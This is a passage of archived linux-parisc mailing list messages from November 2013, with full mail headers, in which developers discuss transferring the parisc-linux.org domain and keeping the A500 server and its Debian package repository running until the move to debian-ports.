X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?windows-1252?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 9 Nov 2013 18:56:35 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 7.0 \(1816\))
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384019803 16974 80.91.229.3 (9 Nov 2013 17:56:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 17:56:43 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, Helge Deller <deller@gmx.de>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Matt Taggart <matt@lackof.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 18:56:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfCm6-0005lf-Ok
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 18:56:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756020Ab3KIR4q convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 12:56:46 -0500
Original-Received: from mail-wg0-f41.google.com ([74.125.82.41]:47884 "EHLO
	mail-wg0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755594Ab3KIR4p convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 12:56:45 -0500
Original-Received: by mail-wg0-f41.google.com with SMTP id n12so270296wgh.0
        for <linux-parisc@vger.kernel.org>; Sat, 09 Nov 2013 09:56:44 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:content-type:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=5O+qh/wVnSaKUiv5tYHMTfLHnVpa3w2m6mdamG9Wh3I=;
        b=otXefHRmelfIp+sv7uEmrLPOqMGJO18rlRl/PKlJxH7JkFdgrohnb0NXFCfCApV5ct
         iT4X6rUfwhlwHYSKtEgABsa5VcRMDoteE8OJWK/x1KEwz5eU6tBdJ34tKKKxiuJ1rGBS
         lI6CmgV+acruIwnlH7uWgtfCHt6+LJYLDUZl5/8rAeoTfEG0DN3War4HXiR/ki8652NA
         asI3S/gnDaskgZ1vtQZMs0uufFTUJezun/LIcfipJRZ1M9m4yw4AinGQVOlonOuSHpJz
         Iwv77cqYSRIgHE/B5S7sf8VdUj+QTHv03p+SMU1hml4LK/hHnYNmsVcCQW5dPa8k/nzt
         DkYQ==
X-Received: by 10.180.187.113 with SMTP id fr17mr570763wic.35.1384019803934;
        Sat, 09 Nov 2013 09:56:43 -0800 (PST)
Original-Received: from [192.168.0.16] (tardis.herebedragons.eu. [88.178.25.53])
        by mx.google.com with ESMTPSA id mw9sm18048080wib.0.2013.11.09.09.56.38
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sat, 09 Nov 2013 09:56:42 -0800 (PST)
In-Reply-To: <20131109082036.62C881A8@taggart.lackof.org>
X-Mailer: Apple Mail (2.1816)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5467>

Le 9 nov. 2013 =E0 09:20, Matt Taggart <matt@lackof.org> a =E9crit :

> dann frazier writes:
>=20
>> Taggart: is that you?
>=20
> Hey whadda know it is! And somehow my brain remembered the login and=20
> password despite not having recorded it somewhere.
>=20
> I have unlocked the domain and I'll keep an eye out for requests aski=
ng me=20
> to approve the transfer to Thibaut.

Turns out it=92s not gonna be that easy. I suspect here=92s why:
Expiration Date:09-Aug-2014 23:07:58 UTC

Until then, it=92s presumably impossible to move the domain to a new ow=
ner. I=92ve just tried with my registrar of choice (ovh.com) and it say=
s that I can only move the domain there *without* changing ownership=85

As a temporary workaround, I could give you the IP addresses of my DNS =
servers (once I=92ve readied them for handling p-l.o, which, to begin w=
ith, means I have to copy the existing zone), which would for all pract=
ical purposes give me control over the domain until it can be properly =
moved next summer (which must not be forgotten, especially now that you=
=92ve unlocked the domain).

What do you think?

T-Bone
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <matt@lackof.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 09 Nov 2013 11:17:25 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20131109191725.DDCE31A1@taggart.lackof.org>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384024650 31398 80.91.229.3 (9 Nov 2013 19:17:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 19:17:30 +0000 (UTC)
Cc: Matt Taggart <matt@lackof.org>, dann frazier <dannf@dannf.org>,
	Helge Deller <deller@gmx.de>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: =?windows-1252?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 20:17:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfE2H-0005VT-RZ
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 20:17:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756656Ab3KITRa convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 14:17:30 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:40476 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756579Ab3KITR3 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 14:17:29 -0500
Original-Received: from taggart.lackof.org (c-98-203-139-173.hsd1.wa.comcast.net [98.203.139.173])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "taggart.lackof.org", Issuer "CAcert Class 3 Root" (verified OK))
	by complete.lackof.org (Postfix) with ESMTPS id 8067533E005D;
	Sat,  9 Nov 2013 12:17:27 -0700 (MST)
Original-Received: by taggart.lackof.org (Postfix, from userid 1000)
	id DDCE31A1; Sat,  9 Nov 2013 11:17:25 -0800 (PST)
Original-Received: from zorak.home.bogus (localhost [127.0.0.1])
	by taggart.lackof.org (Postfix) with ESMTP id DCCBB128;
	Sat,  9 Nov 2013 11:17:25 -0800 (PST)
X-Mailer: exmh version 2.8.0 04/21/2012 (debian 1:2.8.0~rc1-2) with nmh-1.5
In-reply-to: <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org>
Comments: In-reply-to =?windows-1252?Q?Thibaut_Var=E8ne?= 
 <T-Bone@parisc-linux.org>
   message dated "Sat, 09 Nov 2013 18:56:35 +0100."
X-Virus-Scanned: clamav-milter 0.97.8 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5468
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5468>

Thibaut Var=E8ne writes:
> Until then, it's presumably impossible to move the domain to a new
> owner. I've just tried with my registrar of choice (ovh.com) and it
> says that I can only move the domain there *without* changing ownersh=
ip

Weird. So does that mean to change ownership either you are going to ha=
ve=20
to move it within my registrar or I am going to have to move it within=20
yours?

> As a temporary workaround, I could give you the IP addresses of my DN=
S
> servers (once I've readied them for handling p-l.o, which, to begin
> with, means I have to copy the existing zone), which would for all
> practical purposes give me control over the domain until it can be
> properly moved next summer (which must not be forgotten, especially n=
ow
> that you've unlocked the domain).

I can change the nameservers (or anything else about the domain) whenev=
er,=20
just let me know. taggart@OFTC

--=20
Matt Taggart
matt@lackof.org


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 09 Nov 2013 21:25:50 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <527E9A4E.5000008@gmx.de>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384028754 7330 80.91.229.3 (9 Nov 2013 20:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 20:25:54 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Matt Taggart <matt@lackof.org>,
	=?ISO-8859-1?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 21:25:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfF6U-00040a-0d
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 21:25:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756775Ab3KIUZz convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 15:25:55 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:62742 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756750Ab3KIUZz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 15:25:55 -0500
Original-Received: from [192.168.178.60] ([84.173.76.210]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0LqzIJ-1W9bu62Y4Z-00ecNJ for
 <linux-parisc@vger.kernel.org>; Sat, 09 Nov 2013 21:25:53 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <20131109191725.DDCE31A1@taggart.lackof.org>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:+vG3w9MRDgTkCr25pWM5YFp6aBjW81NrCnzxvLTXnwT7xx/S4RZ
 Er+yaSj+QzirJVOjU6RjGcQIVwoYSzQH/Zf4ctncCZVhj+PzTj5yy6B8kouLlxNCWHQqG/X
 kOh6axy8hrXvplsk7mhD1MPNPmJq2ELYqXtRE0f4rLQ4hFxNRKW893KQ6Su9NKEbSXKmPLT
 Ax8251joxb9G1mhRqz0lg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5469>

On 11/09/2013 08:17 PM, Matt Taggart wrote:
> Thibaut Var=E8ne writes:
>> Until then, it's presumably impossible to move the domain to a new
>> owner. I've just tried with my registrar of choice (ovh.com) and it
>> says that I can only move the domain there *without* changing owners=
hip
>=20
> Weird. So does that mean to change ownership either you are going to =
have=20
> to move it within my registrar or I am going to have to move it withi=
n=20
> yours?
>=20
>> As a temporary workaround, I could give you the IP addresses of my D=
NS
>> servers (once I've readied them for handling p-l.o, which, to begin
>> with, means I have to copy the existing zone), which would for all
>> practical purposes give me control over the domain until it can be
>> properly moved next summer (which must not be forgotten, especially =
now
>> that you've unlocked the domain).
>=20
> I can change the nameservers (or anything else about the domain) when=
ever,=20
> just let me know. taggart@OFTC

Just as a side-note:
Could we let it run as-is as long as possible? At least until the A500 =
is really turned off?

Dave & me have the parisc-linux debian dpkg repository still on the A50=
0 which is still in=20
heavy use until the debian-ports repository is mostly filled...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 9 Nov 2013 15:33:45 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <BLU0-SMTP751C2295E7152B3D22247297FD0@phx.gbl>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384029241 11790 80.91.229.3 (9 Nov 2013 20:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 20:34:01 +0000 (UTC)
Cc: Matt Taggart <matt@lackof.org>,
	=?ISO-8859-1?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 21:34:06 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfFEG-00059C-Dj
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 21:34:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756775Ab3KIUd4 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 15:33:56 -0500
Original-Received: from blu0-omc3-s20.blu0.hotmail.com ([65.55.116.95]:30067 "EHLO
	blu0-omc3-s20.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756750Ab3KIUd4 convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 15:33:56 -0500
Original-Received: from BLU0-SMTP75 ([65.55.116.72]) by blu0-omc3-s20.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 9 Nov 2013 12:33:55 -0800
X-TMN: [YRJTzJ9BUeqrvbz/VxHVbnfM4ySrf46W]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.204]) by BLU0-SMTP75.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 9 Nov 2013 12:33:54 -0800
In-Reply-To: <527E9A4E.5000008@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 09 Nov 2013 20:33:54.0779 (UTC) FILETIME=[0238C2B0:01CEDD8B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5470
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5470>

On 9-Nov-13, at 3:25 PM, Helge Deller wrote:

> On 11/09/2013 08:17 PM, Matt Taggart wrote:
>> Thibaut Var=E8ne writes:
>>> Until then, it's presumably impossible to move the domain to a new
>>> owner. I've just tried with my registrar of choice (ovh.com) and it
>>> says that I can only move the domain there *without* changing =20
>>> ownership
>>
>> Weird. So does that mean to change ownership either you are going =20
>> to have
>> to move it within my registrar or I am going to have to move it =20
>> within
>> yours?
>>
>>> As a temporary workaround, I could give you the IP addresses of my =
=20
>>> DNS
>>> servers (once I've readied them for handling p-l.o, which, to begin
>>> with, means I have to copy the existing zone), which would for all
>>> practical purposes give me control over the domain until it can be
>>> properly moved next summer (which must not be forgotten, =20
>>> especially now
>>> that you've unlocked the domain).
>>
>> I can change the nameservers (or anything else about the domain) =20
>> whenever,
>> just let me know. taggart@OFTC
>
> Just as a side-note:
> Could we let it run as-is as long as possible? At least until the =20
> A500 is really turned off?
>
> Dave & me have the parisc-linux debian dpkg repository still on the =20
> A500 which is still in
> heavy use until the debian-ports repository is mostly filled...


I want to setup a personal mirror while it's still on to facilitate =20
the transition to ports.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 09 Nov 2013 21:40:15 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <527E9DAF.3050300@gmx.de>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de> <BLU0-SMTP751C2295E7152B3D22247297FD0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384029617 15405 80.91.229.3 (9 Nov 2013 20:40:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 20:40:17 +0000 (UTC)
Cc: Matt Taggart <matt@lackof.org>,
	=?ISO-8859-1?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 21:40:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfFKO-0004Hp-PX
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 21:40:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756775Ab3KIUkT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 15:40:19 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:61698 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756750Ab3KIUkT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 15:40:19 -0500
Original-Received: from [192.168.178.60] ([84.173.76.210]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MXZw6-1V8skx41yA-00WTWP for
 <linux-parisc@vger.kernel.org>; Sat, 09 Nov 2013 21:40:18 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0
In-Reply-To: <BLU0-SMTP751C2295E7152B3D22247297FD0@phx.gbl>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:m0IvbwhnWSFKzMlRqH2zYXl3IHAHnaJXuRTYQ3/SdqqztAACLhy
 iT1W0GmbIGtFbq9AQeumSRtGLt7r2pBaGJc+qU/FGpoOxdnD3lXluK15wmbnP7lukQ/tA+c
 scpG/Aix4rn/tz7T7w2MVjGUNNPQP+ZMCNssKDaMFA5lSKw3hqH3F7idweh6W7zAcAFV5rB
 mkkVg4euGRF52UjsQ9XPw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5471
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5471>

On 11/09/2013 09:33 PM, John David Anglin wrote:
> On 9-Nov-13, at 3:25 PM, Helge Deller wrote:
>=20
>> On 11/09/2013 08:17 PM, Matt Taggart wrote:
>>> Thibaut Var=E8ne writes:
>>>> Until then, it's presumably impossible to move the domain to a new
>>>> owner. I've just tried with my registrar of choice (ovh.com) and i=
t
>>>> says that I can only move the domain there *without* changing owne=
rship
>>>
>>> Weird. So does that mean to change ownership either you are going t=
o have
>>> to move it within my registrar or I am going to have to move it wit=
hin
>>> yours?
>>>
>>>> As a temporary workaround, I could give you the IP addresses of my=
 DNS
>>>> servers (once I've readied them for handling p-l.o, which, to begi=
n
>>>> with, means I have to copy the existing zone), which would for all
>>>> practical purposes give me control over the domain until it can be
>>>> properly moved next summer (which must not be forgotten, especiall=
y now
>>>> that you've unlocked the domain).
>>>
>>> I can change the nameservers (or anything else about the domain) wh=
enever,
>>> just let me know. taggart@OFTC
>>
>> Just as a side-note:
>> Could we let it run as-is as long as possible? At least until the A5=
00 is really turned off?
>>
>> Dave & me have the parisc-linux debian dpkg repository still on the =
A500 which is still in
>> heavy use until the debian-ports repository is mostly filled...
>=20
>=20
> I want to setup a personal mirror while it's still on to facilitate t=
he transition to ports.

Ok, but will you make your mirror visible to the world via http/ftp or =
will you keep it internal for you privately?=20

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org losing hw hosting after this month
Date: Sat, 9 Nov 2013 15:55:20 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <BLU0-SMTP5909318D8258BAC1A5331997FD0@phx.gbl>
References: <20131105003509.GA19864@dannf.org> <1383612962.2150.4.camel@dabdike> <BLU0-SMTP219421FBE297D4BFF757F897F10@phx.gbl> <20131105022209.GC22393@dannf.org> <52786CFD.1070009@hp.com> <527D6428.8060205@gmx.de> <20131108223833.GB32729@dannf.org> <20131109082036.62C881A8@taggart.lackof.org> <57A18B42-217E-4588-A0AF-6E4275A501F4@parisc-linux.org> <20131109191725.DDCE31A1@taggart.lackof.org> <527E9A4E.5000008@gmx.de> <BLU0-SMTP751C2295E7152B3D22247297FD0@phx.gbl> <527E9DAF.3050300@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1384030536 24563 80.91.229.3 (9 Nov 2013 20:55:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Nov 2013 20:55:36 +0000 (UTC)
Cc: Matt Taggart <matt@lackof.org>,
	=?ISO-8859-1?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>,
	dann frazier <dannf@dannf.org>,
	"Craig Lamparter (ISS Linux)" <craig.lamparter@hp.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 09 21:55:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VfFZE-0005nj-5A
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Nov 2013 21:55:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757298Ab3KIUzj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Nov 2013 15:55:39 -0500
Original-Received: from blu0-omc3-s12.blu0.hotmail.com ([65.55.116.87]:48257 "EHLO
	blu0-omc3-s12.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756462Ab3KIUzj convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Nov 2013 15:55:39 -0500
